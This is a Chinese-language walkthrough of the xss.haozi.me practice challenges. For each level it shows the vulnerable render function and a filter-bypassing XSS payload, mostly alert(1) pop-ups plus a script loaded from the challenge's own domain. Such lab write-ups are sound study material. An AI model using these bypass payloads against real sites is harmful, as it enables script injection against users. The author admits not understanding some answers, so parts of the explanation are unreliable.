xss

https://xss.haozi.me/#/0x04 习题答案解析:

0x00

题目:
1
2
3
function render (input) {
return '<div>' + input + '</div>'
}
payload:
1
<script>alert(1);</script>

0x01

题目:
1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

闭合< textarea>标签后输入script标签即可

payload:
1
</textarea> <script>alert(1);</script>

0x02

题目:
1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

闭合用”和>闭合input标签即可

payload:
1
"><script>alert(1)</script>

0x03

题目:
1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

题目中过滤了圆括号,可以用反引号来代替。此外,在js中,反引号可以代替圆括号,还可以代替单双引号。

payload1:
1
<script>alert`1`;</script>

也可以可以使用throw来绕过

payload2:
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

这一写法也可以用于其他题中,
例如0x00:<svg/onload = alert(1);>
0x01: <svg/onload = alert(1);>

0x04

题目:
1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

这道题将圆括号和反引号都过滤了,也就是我们不能运用模板字符串了。我们想到,我们是否可以使用unicode 编码,来代替圆括号。这种思路没错,但是我们要遇到一个问题就是unicode编码怎么才会被转码实现了,如果只是正常的html编码,unicode编码是不会有任何用的。这里我们可以在了解一下 < svg>这个标签,这是一个外部标签,可以显示文字,字符及其他数据。 而< svg> 有一个 很重要的特性,便是它可以和xml一样将unicode编码转码进行执行,也就是我们可以通过这个标签执行 unicode编码,关于这个标签的具体介绍,我们可以查看下面这篇资料:
https://www.hackersb.cn/hacker/85.html

payload1:
1
<svg><script>alert&#40;1&#41;</script>

也可以用上一题提到的方法

payload2:
1
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

0x05

题目:
1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

<!–可以用 –>和–!>两种方式闭合

payload:
1
--!><script>alert(1);</script>

0x06

题目:
1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

这道题过滤了auto字符串 或 on开头=为结尾的字符串或者 > 。

所以,这里我们想直接 注入< script> </ script>是不成功的,因为,我们的 >会被过滤掉。

这里,我们看到在input标签注入,我么就可以使用onmousemove这个属性,这个属性是当鼠标移到input这个输入框时,就会被执行的属性。 我们可以注入: οnmοusemοve=alert(1)

但是,我们这里还有一个问题,就是 onmousemove 这个注入,是以on开头且中间有=,所以我们最终的输入会被正则过滤如下:

1
<input value=1 _alert(1) type="text">

onmosemove= 这段字符串会被过滤,所以这里我们需要想一些办法。

我们再来仔细查看上面的正则表达式:

1
on.*=

这个过滤,中间有 小数点:

image

那我们就知道,它不匹配换行符,所以如果我们在 onmousemove = alert(1)之间使用换行符,那么这个正则表达式就会匹配无法成功,于是可以成功绕过

payload:
1
2
onmousemove
=alert(1)

0x07

题目:
1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

这道题主要是对 < 和 >进行了过滤,也就是我们不能同时输入 < 和 >。

所以,这里我们可以运用 浏览器的容错性,当我们少输入一个 >时,浏览器仍然会解释执行我们输入的标签语言。

所以我们只需要考虑输入一个单标签执行语句。

payload:
1
<svg/onload ="alert(1)"

0x08

题目:
1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

这道题过滤了</ style>标签,可以采用空格或者换行的方法进行绕过。

payload:
1
2
</style >
<script>alert(1);</script>

0x09

题目:
1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

test(str)函数是判断 str字符串中,是否含有与a匹配的文本,有则返回 true,否则返回 false。

payload:
1
https://www.segmentfault.com"></script><script>alert(1);</script>

0x0A

题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
payload:
1
https://www.segmentfault.com.haozi.me/j.js

不明白这个是为什么

0x0B

题目:
1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

由于HTML不区分大小写,Javascript严格区分大小写,所以将js的代码html实体编码绕过。也可以引入外部链接来解决。

payload:
1
<img src=# onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

0x0C

题目:
1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

因为这道题检查并替换掉了script,所以还可以用上一题的方法

1
<img src=# onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

也可以双写script绕过

0x0D

题目:
1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

这里过滤掉了< / “ ‘ ,而且input在注释符//后,因为//是单行注释,所以可以利用换行来逃逸,后面的’)可以用–>注释。(可以不跟< !– 一起使用emm)

payload:
1
2
3
)
alert(1)
-->

0x0E

题目:
1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

服务器将<+第一个字母转换成了<_+大写字母,看似无解,但是经过长时间的搜集,发现了一个ſ字符,这个叫做“长S”。转换后正好为s

payload:
1
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

题目:
1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

先闭合括号才能操作,再注释掉后面的括号

因为这是在onerror属性里面,所以,实体编码也能解析

payload:
1
');alert('1 或 ');alert(1)// 或 ');alert(1) ('

0x010

题目:
1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

无过滤,在< script>中直接执行.

payload:
1
alert(1)

0x011

题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

思路,闭合console.log函数,再构造alert函数弹窗。
把”转换成\”但是\还是在””号内,无影响。然后闭合执行

payload:
1
1");alert("1

0x012

题目:
1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

匹配”双引号,并替换为\”;
由于输入点在script标签外,则不能考虑html实体编码;
“替换成\”,在实际输出中可以在添一个\来转义掉第一个\绕过;

payload:
1
2
3
\");
alert(1);
//

也可以直接闭合最前面的< script>,然后创造一个新的< script>执行alert(1)

1
</script><script>alert(1)</script>

参考:https://blog.csdn.net/AlexYoung28/article/details/82315538

http://www.youi.xin/?p=341

其实咱也没搞明白xss到底是个啥,咱也不敢问,也不敢说,咱就只敢看着别人的wp刷刷题